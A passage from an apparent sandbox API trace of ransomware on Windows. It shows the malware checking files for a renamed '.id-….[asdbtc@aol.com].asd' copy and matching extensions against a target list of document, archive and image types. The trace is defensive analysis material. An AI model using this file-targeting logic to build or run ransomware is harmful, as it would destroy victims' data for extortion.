Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.178] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=89600) returned 1 [0045.178] CloseHandle (hObject=0x19c) returned 1 [0045.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0045.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.179] lstrlenW (lpString=".doc") returned 4 [0045.179] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.179] lstrlenW (lpString=".docx") returned 5 [0045.179] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.179] lstrlenW (lpString=".pdf") returned 4 [0045.179] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.179] lstrlenW (lpString=".xls") returned 4 [0045.179] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.179] lstrlenW (lpString=".xlsx") returned 5 [0045.179] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.179] lstrlenW (lpString=".ppt") returned 4 [0045.179] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.179] lstrlenW (lpString=".zip") returned 4 [0045.179] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.179] lstrlenW (lpString=".rar") returned 4 [0045.179] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.179] lstrlenW (lpString=".bz2") returned 4 [0045.179] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.179] lstrlenW (lpString=".7z") returned 3 [0045.179] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.179] lstrlenW (lpString=".dbf") returned 4 [0045.179] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.179] lstrlenW (lpString=".1cd") returned 4 [0045.179] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.179] lstrlenW (lpString=".jpg") returned 4 [0045.179] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.180] lstrlenW (lpString=".doc") returned 4 [0045.180] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.180] lstrlenW (lpString=".docx") returned 5 [0045.180] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.180] lstrlenW (lpString=".pdf") returned 4 [0045.180] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.180] lstrlenW (lpString=".xls") returned 4 [0045.180] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.180] lstrlenW (lpString=".xlsx") returned 5 [0045.180] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.180] lstrlenW (lpString=".ppt") returned 4 [0045.180] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.180] lstrlenW (lpString=".zip") returned 4 [0045.180] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.180] lstrlenW (lpString=".rar") returned 4 [0045.180] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.180] lstrlenW (lpString=".bz2") returned 4 [0045.180] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.180] lstrlenW (lpString=".7z") returned 3 [0045.180] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.180] lstrlenW (lpString=".dbf") returned 4 [0045.180] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.180] lstrlenW (lpString=".1cd") returned 4 [0045.180] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.180] lstrlenW (lpString=".jpg") returned 4 [0045.180] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.181] lstrcmpiW (lpString1=".avi", lpString2=".asd") returned 1 [0045.181] lstrlenW (lpString="boxed-delete.avi") returned 16 [0045.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.182] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=31744) returned 1 [0045.182] CloseHandle (hObject=0x19c) returned 1 [0045.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0045.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.182] lstrlenW (lpString=".doc") returned 4 [0045.182] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.182] lstrlenW (lpString=".docx") returned 5 [0045.182] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0045.182] lstrlenW (lpString=".pdf") returned 4 [0045.183] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.183] lstrlenW (lpString=".xls") returned 4 [0045.183] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.183] lstrlenW (lpString=".xlsx") returned 5 [0045.183] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0045.183] lstrlenW (lpString=".ppt") returned 4 [0045.183] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.183] lstrlenW (lpString=".zip") returned 4 [0045.183] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.183] lstrlenW (lpString=".rar") returned 4 [0045.183] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.183] lstrlenW (lpString=".bz2") returned 4 [0045.183] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.183] lstrlenW (lpString=".7z") returned 3 [0045.183] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.183] lstrlenW (lpString=".dbf") returned 4 [0045.183] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.183] lstrlenW (lpString=".1cd") returned 4 [0045.183] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.183] lstrlenW (lpString=".jpg") returned 4 [0045.183] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.183] lstrlenW (lpString=".doc") returned 4 [0045.183] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.183] lstrlenW (lpString=".docx") returned 5 [0045.183] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0045.183] lstrlenW (lpString=".pdf") returned 4 [0045.184] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.184] lstrlenW (lpString=".xls") returned 4 [0045.184] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.184] lstrlenW (lpString=".xlsx") returned 5 [0045.184] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0045.184] lstrlenW (lpString=".ppt") returned 4 [0045.184] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.184] lstrlenW (lpString=".zip") returned 4 [0045.184] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.184] lstrlenW (lpString=".rar") returned 4 [0045.184] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.184] lstrlenW (lpString=".bz2") returned 4 [0045.184] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.184] lstrlenW (lpString=".7z") returned 3 [0045.184] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.184] lstrlenW (lpString=".dbf") returned 4 [0045.184] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.184] lstrlenW (lpString=".1cd") returned 4 [0045.184] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.184] lstrlenW (lpString=".jpg") returned 4 [0045.184] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.184] lstrcmpiW (lpString1=".avi", lpString2=".asd") returned 1 [0045.184] lstrlenW (lpString="boxed-join.avi") returned 14 [0045.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.185] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=33280) returned 1 [0045.185] CloseHandle (hObject=0x19c) returned 1 [0045.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0045.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.185] lstrlenW (lpString=".doc") returned 4 [0045.185] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.185] lstrlenW (lpString=".docx") returned 5 [0045.185] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0045.185] lstrlenW (lpString=".pdf") returned 4 [0045.185] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.185] lstrlenW (lpString=".xls") returned 4 [0045.185] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.185] lstrlenW (lpString=".xlsx") returned 5 [0045.186] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0045.186] lstrlenW (lpString=".ppt") returned 4 [0045.186] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.186] lstrlenW (lpString=".zip") returned 4 [0045.186] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.186] lstrlenW (lpString=".rar") returned 4 [0045.186] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.186] lstrlenW (lpString=".bz2") returned 4 [0045.186] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.186] lstrlenW (lpString=".7z") returned 3 [0045.186] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.186] lstrlenW (lpString=".dbf") returned 4 [0045.186] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.186] lstrlenW (lpString=".1cd") returned 4 [0045.186] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.186] lstrlenW (lpString=".jpg") returned 4 [0045.186] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.186] lstrlenW (lpString=".doc") returned 4 [0045.186] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.186] lstrlenW (lpString=".docx") returned 5 [0045.186] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0045.186] lstrlenW (lpString=".pdf") returned 4 [0045.186] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.186] lstrlenW (lpString=".xls") returned 4 [0045.186] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.186] lstrlenW (lpString=".xlsx") returned 5 [0045.187] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0045.187] lstrlenW (lpString=".ppt") returned 4 [0045.187] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.187] lstrlenW (lpString=".zip") returned 4 [0045.187] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.187] lstrlenW (lpString=".rar") returned 4 [0045.187] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.187] lstrlenW (lpString=".bz2") returned 4 [0045.187] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.187] lstrlenW (lpString=".7z") returned 3 [0045.187] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.187] lstrlenW (lpString=".dbf") returned 4 [0045.187] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.187] lstrlenW (lpString=".1cd") returned 4 [0045.187] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.187] lstrlenW (lpString=".jpg") returned 4 [0045.187] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.187] lstrcmpiW (lpString1=".avi", lpString2=".asd") returned 1 [0045.187] lstrlenW (lpString="boxed-split.avi") returned 15 [0045.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.188] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=62976) returned 1 [0045.188] CloseHandle (hObject=0x19c) returned 1 [0045.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0045.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.188] lstrlenW (lpString=".doc") returned 4 [0045.188] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.188] lstrlenW (lpString=".docx") returned 5 [0045.188] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.188] lstrlenW (lpString=".pdf") returned 4 [0045.188] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.188] lstrlenW (lpString=".xls") returned 4 [0045.188] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.188] lstrlenW (lpString=".xlsx") returned 5 [0045.188] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.188] lstrlenW (lpString=".ppt") returned 4 [0045.188] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.188] lstrlenW (lpString=".zip") returned 4 [0045.189] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.189] lstrlenW (lpString=".rar") returned 4 [0045.189] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.189] lstrlenW (lpString=".bz2") returned 4 [0045.189] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.189] lstrlenW (lpString=".7z") returned 3 [0045.189] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.189] lstrlenW (lpString=".dbf") returned 4 [0045.189] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.189] lstrlenW (lpString=".1cd") returned 4 [0045.189] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.189] lstrlenW (lpString=".jpg") returned 4 [0045.189] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.189] lstrlenW (lpString=".doc") returned 4 [0045.189] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.189] lstrlenW (lpString=".docx") returned 5 [0045.189] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.189] lstrlenW (lpString=".pdf") returned 4 [0045.189] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.189] lstrlenW (lpString=".xls") returned 4 [0045.189] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.189] lstrlenW (lpString=".xlsx") returned 5 [0045.189] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.189] lstrlenW (lpString=".ppt") returned 4 [0045.189] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.190] lstrlenW (lpString=".zip") returned 4 [0045.190] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.190] lstrlenW (lpString=".rar") returned 4 [0045.190] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.190] lstrlenW (lpString=".bz2") returned 4 [0045.190] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.190] lstrlenW (lpString=".7z") returned 3 [0045.190] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.190] lstrlenW (lpString=".dbf") returned 4 [0045.190] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.190] lstrlenW (lpString=".1cd") returned 4 [0045.190] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.190] lstrlenW (lpString=".jpg") returned 4 [0045.190] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.191] lstrcmpiW (lpString1=".avi", lpString2=".asd") returned 1 [0045.191] lstrlenW (lpString="correct.avi") returned 11 [0045.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.191] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=197120) returned 1 [0045.191] CloseHandle (hObject=0x19c) returned 1 [0045.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0045.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.192] lstrlenW (lpString=".doc") returned 4 [0045.192] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.192] lstrlenW (lpString=".docx") returned 5 [0045.192] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.192] lstrlenW (lpString=".pdf") returned 4 [0045.192] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.192] lstrlenW (lpString=".xls") returned 4 [0045.192] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.192] lstrlenW (lpString=".xlsx") returned 5 [0045.192] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.192] lstrlenW (lpString=".ppt") returned 4 [0045.192] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0045.192] lstrlenW (lpString=".zip") returned 4 [0045.192] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.192] lstrlenW (lpString=".rar") returned 4 [0045.192] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.192] lstrlenW (lpString=".bz2") returned 4 [0045.192] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.192] lstrlenW (lpString=".7z") returned 3 [0045.192] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 